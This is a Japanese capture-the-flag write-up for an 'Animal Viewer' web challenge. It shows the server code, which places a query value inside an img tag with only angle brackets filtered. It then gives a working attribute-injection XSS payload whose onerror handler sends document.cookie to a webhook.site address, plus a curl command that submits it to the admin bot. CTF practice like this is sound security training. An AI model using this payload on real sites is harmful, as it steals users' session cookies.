🦙🐻🐈️🐕️🐘
Challenge: http://34.170.146.252:8409, Admin bot: http://34.170.146.252:9023
const html = `
<!DOCTYPE html>
<html>
<body>
<h1>Animal Viewer</h1>
<ul>
<li>
<a href="/?animal=alpaca">Alpaca</a>
</li>
<li>
<a href="/?animal=bear">Bear</a>
</li>
<li>
<a href="/?animal=cat">Cat</a>
</li>
<li>
<a href="/?animal=dog">Dog</a>
</li>
<li>
<a href="/?animal=elephant">Elephant</a>
</li>
<img src="/[ANIMAL].png">
</body>
</html>
`;
app.get("/", async (req, res) => {
const animal = req.query.animal || "alpaca";
// no html tag!
if (animal.includes("<") || animal.includes(">")) {
return res.status(400).send("Bad Request");
}
const page = html.replace("[ANIMAL]", animal);
res.send(page);
});
app.listen(3000, () => {
console.log('Server listening on port 3000');
});
admin botに用意されたAPI(/api/report)をたたくとbotが指定したurlを巡回します。
今回の問題は、xssを仕込んだurlをadmin botに踏ませ、adminのcookie(flag)をリークさせることが目的です。
ソースを読んでみると、クエリに応じて
<img src="/[ANIMAL].png">の[ANIMAL]を置換しているようです。
方法はいくつか考えられますが、今回はimgタグでonerrorを使ったXSSを考えます。
次のような置換をすると、任意のサイト(例ではwebhook)にcookieを送ることになります
" onerror="new Image().src='<https://webhook.site/~~~~?c='+encodeURIComponent(document.cookie)>" x="
置換後は以下のようになります。
<img src="/" onerror="new Image().src='<https://webhook.site/~~~~?c='+encodeURIComponent(document.cookie)>" x=".png">
これをURLエンコードして投げます。
curl -s -X POST <http://34.170.146.252:61625/api/report> \\
-H 'Content-Type: application/json' \\
-d '{"url":"<http://animal-viewer:3000/?animal=%22%20onerror%3D%22new%20Image().src%3D%27https%3A%2F%2Fwebhook.site%2F5b99c42c-10f9-407e-b947-889942d7cffd%3Fc%3D%27%2BencodeURIComponent(document.cookie)%22%20x%3D%22>"}'